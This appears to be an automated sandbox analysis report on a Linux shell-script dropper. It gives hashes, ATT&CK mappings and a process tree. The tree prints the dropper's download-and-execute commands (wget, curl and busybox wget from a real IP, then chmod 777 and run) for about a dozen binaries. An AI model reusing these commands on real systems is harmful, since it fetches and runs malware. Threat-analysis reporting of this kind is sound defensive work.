919d85e5228142cc75633478b968bc17c7afda6b069bc92fbb55916ac1d39f50

Analysis

max time kernel
37s
max time network
42s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
22/10/2024, 01:40

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
919d85e5228142cc75633478b968bc17c7afda6b069bc92fbb55916ac1d39f50.sh
Size 10KB
Sample241022-b3vmcszala
SHA256 919d85e5228142cc75633478b968bc17c7afda6b069bc92fbb55916ac1d39f50
MD5 773f960bdaaeb4b31d1d3cc025011ddd
SHA1 3ff6b2c737b7ddd65193c2da20432094f24e3cc0
SHA512 20674cc203f48bebc1c611fd97c23cf110e4e07397707901e1d8d59080eb149bae6c964158b753392b9de7dd08028d99c6dbd03d154ee2870216777b0a49dcc3
SSDEEP 192:SPjbJ1m+aB2WpONx9kgTPjb4+aB2WRx9Hx:u1m+aB2WpOSV+aB2W/
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
700	chmod
724	chmod
739	chmod
770	chmod
789	chmod
829	chmod
689	chmod
753	chmod
783	chmod
812	chmod
842	chmod
706	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN	690	2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
/tmp/UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC	701	UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC
/tmp/5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ	707	5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ
/tmp/uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5	725	uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5
/tmp/8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5	741	8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5
/tmp/wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa	755	wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa
/tmp/3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh	771	3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh
/tmp/aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt	784	aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt
/tmp/EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l	790	EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l
/tmp/VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V	815	VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V
/tmp/Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj	830	Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj
/tmp/YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl	843	YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl

Checks CPU configuration 1 TTPs 12 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 24 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt	curl
File opened for modification	/tmp/EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l	curl
File opened for modification	/tmp/Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj	curl
File opened for modification	/tmp/3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh	curl
File opened for modification	/tmp/UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC	curl
File opened for modification	/tmp/5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ	curl
File opened for modification	/tmp/uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5	curl
File opened for modification	/tmp/8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5	curl
File opened for modification	/tmp/wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa	curl
File opened for modification	/tmp/VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V	curl
File opened for modification	/tmp/YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl	curl
File opened for modification	/tmp/2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN	curl

/tmp/919d85e5228142cc75633478b968bc17c7afda6b069bc92fbb55916ac1d39f50.sh
/tmp/919d85e5228142cc75633478b968bc17c7afda6b069bc92fbb55916ac1d39f50.sh
1⤵
PID:661
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:665
- /usr/bin/wget
  wget http://87.120.84.230/bins/2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
  2⤵
  PID:667
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:676
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
  2⤵
  PID:686
- /bin/chmod
  chmod 777 2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
  2⤵
  - File and Directory Permissions Modification
  PID:689
- /tmp/2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
  ./2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
  2⤵
  - Executes dropped EXE
  PID:690
- /bin/rm
  rm 2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
  2⤵
  PID:691
- /usr/bin/wget
  wget http://87.120.84.230/bins/UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC
  2⤵
  PID:692
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:696
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC
  2⤵
  PID:699
- /bin/chmod
  chmod 777 UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC
  2⤵
  - File and Directory Permissions Modification
  PID:700
- /tmp/UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC
  ./UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC
  2⤵
  - Executes dropped EXE
  PID:701
- /bin/rm
  rm UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC
  2⤵
  PID:702
- /usr/bin/wget
  wget http://87.120.84.230/bins/5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ
  2⤵
  PID:703
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:704
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ
  2⤵
  PID:705
- /bin/chmod
  chmod 777 5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ
  2⤵
  - File and Directory Permissions Modification
  PID:706
- /tmp/5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ
  ./5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ
  2⤵
  - Executes dropped EXE
  PID:707
- /bin/rm
  rm 5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ
  2⤵
  PID:708
- /usr/bin/wget
  wget http://87.120.84.230/bins/uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5
  2⤵
  PID:709
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:712
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5
  2⤵
  PID:721
- /bin/chmod
  chmod 777 uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5
  2⤵
  - File and Directory Permissions Modification
  PID:724
- /tmp/uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5
  ./uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5
  2⤵
  - Executes dropped EXE
  PID:725
- /bin/rm
  rm uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5
  2⤵
  PID:726
- /usr/bin/wget
  wget http://87.120.84.230/bins/8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5
  2⤵
  PID:727
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:731
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5
  2⤵
  PID:737
- /bin/chmod
  chmod 777 8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5
  ./8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5
  2⤵
  - Executes dropped EXE
  PID:741
- /bin/rm
  rm 8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5
  2⤵
  PID:742
- /usr/bin/wget
  wget http://87.120.84.230/bins/wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa
  2⤵
  PID:743
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:746
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa
  2⤵
  PID:751
- /bin/chmod
  chmod 777 wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa
  2⤵
  - File and Directory Permissions Modification
  PID:753
- /tmp/wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa
  ./wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa
  2⤵
  - Executes dropped EXE
  PID:755
- /bin/rm
  rm wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa
  2⤵
  PID:756
- /usr/bin/wget
  wget http://87.120.84.230/bins/3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh
  2⤵
  PID:757
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:761
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh
  2⤵
  PID:766
- /bin/chmod
  chmod 777 3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh
  2⤵
  - File and Directory Permissions Modification
  PID:770
- /tmp/3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh
  ./3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh
  2⤵
  - Executes dropped EXE
  PID:771
- /bin/rm
  rm 3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh
  2⤵
  PID:773
- /usr/bin/wget
  wget http://87.120.84.230/bins/aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt
  2⤵
  PID:774
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:778
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt
  2⤵
  PID:781
- /bin/chmod
  chmod 777 aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt
  2⤵
  - File and Directory Permissions Modification
  PID:783
- /tmp/aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt
  ./aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt
  2⤵
  - Executes dropped EXE
  PID:784
- /bin/rm
  rm aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt
  2⤵
  PID:785
- /usr/bin/wget
  wget http://87.120.84.230/bins/EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l
  2⤵
  PID:786
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:787
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l
  2⤵
  PID:788
- /bin/chmod
  chmod 777 EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l
  ./EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l
  2⤵
  - Executes dropped EXE
  PID:790
- /bin/rm
  rm EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l
  2⤵
  PID:791
- /usr/bin/wget
  wget http://87.120.84.230/bins/VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V
  2⤵
  PID:792
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:795
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V
  2⤵
  PID:803
- /bin/chmod
  chmod 777 VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V
  ./VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V
  2⤵
  - Executes dropped EXE
  PID:815
- /bin/rm
  rm VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V
  2⤵
  PID:816
- /usr/bin/wget
  wget http://87.120.84.230/bins/Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj
  2⤵
  PID:817
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:821
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj
  2⤵
  PID:826
- /bin/chmod
  chmod 777 Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj
  2⤵
  - File and Directory Permissions Modification
  PID:829
- /tmp/Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj
  ./Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj
  2⤵
  - Executes dropped EXE
  PID:830
- /bin/rm
  rm Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj
  2⤵
  PID:831
- /usr/bin/wget
  wget http://87.120.84.230/bins/YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl
  2⤵
  PID:833
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:836
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl
  2⤵
  PID:841
- /bin/chmod
  chmod 777 YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl
  2⤵
  - File and Directory Permissions Modification
  PID:842
- /tmp/YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl
  ./YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl
  2⤵
  - Executes dropped EXE
  PID:843
- /bin/rm
  rm YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl
  2⤵
  PID:844
- /usr/bin/wget
  wget http://87.120.84.230/bins/hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL
  2⤵
  PID:845

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN

Path /tmp/2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads